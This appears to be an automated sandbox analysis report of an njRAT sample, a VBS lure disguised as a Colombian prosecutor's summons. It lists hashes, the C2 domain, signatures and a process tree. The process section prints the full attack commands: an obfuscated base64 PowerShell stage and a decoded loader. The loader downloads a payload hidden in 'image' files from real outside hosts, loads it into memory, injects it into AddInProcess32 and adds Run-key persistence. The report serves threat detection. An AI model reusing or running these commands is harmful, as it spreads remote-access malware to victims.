Analysis
- max time kernel
147s - max time network
142s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system - submitted
06/03/2024, 17:13
Static task
static1
Behavioral task
behavioral1
Sample
BOLETA DE CITACION FISCALIA GENERAL DE LA NACION RADICADO PROCESO #202496-6623600265-9595982-9662256-PDF.vbs
Resource
win10v2004-20240226-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
BOLETA DE CITACION FISCALIA GENERAL DE LA NACION RADICADO PROCESO #202496-6623600265-9595982-9662256-PDF.vbs
Resource
win11-20240221-en
8 signatures
150 seconds
General
- Target BOLETA DE CITACION FISCALIA GENERAL DE LA NACION RADICADO PROCESO #202496-6623600265-9595982-9662256-PDF.vbs
- Size 68KB
- Sample240306-vrge5sdc59
- SHA256 294a3fdbf3eb9afe824f13ff046eb42b6b683fbcc5e764c4cec481b0cab12b2f
- MD5 22fb4ae301cb2b4618847ee53a6d3693
- SHA1 a3f3655b77350aa3a5bb91bb25dbc80003a71c4a
- SHA512 cc3f7d300722300c3a009fad42e05c8bf3e045f3a7ab9973bd69a1a7d79a230201a9a6ed75a647900c3b8770bea6abf44c41208c6d3b98befb890ca955372a98
- SSDEEP 1536:zcflVRFy4/y4HaUcNb0xq/K4HVWx525y4Twop0Irb5JmKU6VQ303:QBFy4/y4HR+p0IJJmi3
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
njrat
Version
-
0.7NC
Botnet
-
NYAN CAT
C2
-
junio2023.duckdns.org:3333
Mutex
-
7952b2688d
Attributes
-
reg_key
7952b2688d
-
splitter
@!#&^%$
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 5 3528 WScript.exe 16 3876 powershell.exe 25 3876 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2930051783-2551506282-3430162621-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\Name_File.vbs" powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3876 set thread context of 4476 3876 powershell.exe 88 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2176 powershell.exe 2176 powershell.exe 3876 powershell.exe 3876 powershell.exe 3724 powershell.exe 3724 powershell.exe - Suspicious use of AdjustPrivilegeToken 38 IoCs
description pid Process Token: SeDebugPrivilege 2176 powershell.exe Token: SeDebugPrivilege 3876 powershell.exe Token: SeDebugPrivilege 3724 powershell.exe Token: SeDebugPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe Token: 33 4476 AddInProcess32.exe Token: SeIncBasePriorityPrivilege 4476 AddInProcess32.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3528 wrote to memory of 2176 3528 WScript.exe 80 PID 3528 wrote to memory of 2176 3528 WScript.exe 80 PID 2176 wrote to memory of 3876 2176 powershell.exe 82 PID 2176 wrote to memory of 3876 2176 powershell.exe 82 PID 3876 wrote to memory of 3724 3876 powershell.exe 85 PID 3876 wrote to memory of 3724 3876 powershell.exe 85 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88 PID 3876 wrote to memory of 4476 3876 powershell.exe 88
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BOLETA DE CITACION FISCALIA GENERAL DE LA NACION RADICADO PROCESO #202496-6623600265-9595982-9662256-PDF.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreCYDgTreYgBhDgTreDkDgTreOQDgTre3DgTreGUDgTreNwBjDgTreDQDgTreYgBhDgTreDkDgTreNgBmDgTreGMDgTreNDgTreBjDgTreDMDgTreNwDgTre3DgTreDYDgTreNDgTreBjDgTreDkDgTreMgDgTre2DgTreDIDgTreNgDgTreyDgTreGIDgTreNwBiDgTreGUDgTreNgBmDgTreDgDgTreYQBhDgTreGYDgTreYgDgTre2DgTreDQDgTreNgBlDgTreDMDgTreNQDgTre3DgTreDQDgTreMgDgTre4DgTreGQDgTreZDgTreDgTre4DgTreDMDgTreMQBkDgTreDQDgTreMgDgTre0DgTreGUDgTreNQDgTrewDgTreDMDgTreMDgTreDgTre9DgTreG0DgTreaDgTreDgTremDgTreDkDgTreNwDgTre3DgTreGIDgTreNQBlDgTreDUDgTreNgDgTre9DgTreHMDgTreaQDgTremDgTreDkDgTreNwBjDgTreDIDgTreODgTreBmDgTreDUDgTreNgDgTre9DgTreHgDgTreZQDgTre/DgTreHQDgTreeDgTreB0DgTreC4DgTrecgBlDgTreGIDgTrecgBlDgTreHMDgTreMwDgTrezDgTreDMDgTreMwDgTrezDgTreDMDgTreMwDgTrezDgTreDMDgTreMwDgTrezDgTreDMDgTreMwDgTrezDgTreDMDgTreMwDgTrevDgTreDkDgTreMQDgTrewDgTreDEDgTreODgTreDgTre5DgTreDkDgTreNgDgTrexDgTreDYDgTreNDgTreDgTreyDgTreDDgTreDgTreODgTreDgTrexDgTreDQDgTreMQDgTreyDgTreDEDgTreLwDgTrexDgTreDDgTreDgTreMDgTreDgTrezDgTreDcDgTreNDgTreDgTrezDgTreDQDgTreNDgTreDgTre4DgTreDMDgTreMQDgTrewDgTreDgDgTreMQDgTre0DgTreDEDgTreMgDgTrexDgTreC8DgTrecwB0DgTreG4DgTreZQBtDgTreGgDgTreYwBhDgTreHQDgTredDgTreBhDgTreC8DgTrebQBvDgTreGMDgTreLgBwDgTreHDgTreDgTreYQBkDgTreHIDgTrebwBjDgTreHMDgTreaQBkDgTreC4DgTrebgBkDgTreGMDgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreTgBhDgTreG0DgTreZQBfDgTreEYDgTreaQBsDgTreGUDgTreJwDgTresDgTreCcDgTreQQBkDgTreGQDgTreSQBuDgTreFDgTreDgTrecgBvDgTreGMDgTreZQBzDgTreHMDgTreMwDgTreyDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&ba997e7c4ba96fc4c37764c926262b7be6f8aafb646e357428dd831d424e5030=mh&977b5e56=si&97c28f56=xe?txt.rebres3333333333333333/9101899616420814121/1003743448310814121/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'Name_File','AddInProcess32',''))} }"3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Name_File.vbs4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4476
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
- MD5 88dc70c361a22feac57b031dd9c1f02f
- SHA1 a9b4732260c2a323750022a73480f229ce25d46d
- SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 4557db2ea8021593902e2e7d33e1c60b089325b1ca99896166f4d91f71cabc07
- MD5 16794bf0a237685c66847fac79461feb
- SHA1 cc0aa2f6c8ef1caba11031936294f52cf7bd4ebc
- SHA512 223d3197e850bd62d7eba8c6147ee304193f3c1e16ffca16f050e97e5fb957efd65877bf7e5233ff92bbecdc8ae2551eb3bbd1037e5436adcd6e5ecfff1cceaf
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
- MD5 1a11402783a8686e08f8fa987dd07bca
- SHA1 580df3865059f4e2d8be10644590317336d146ce
- SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xequ0og1.xfg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512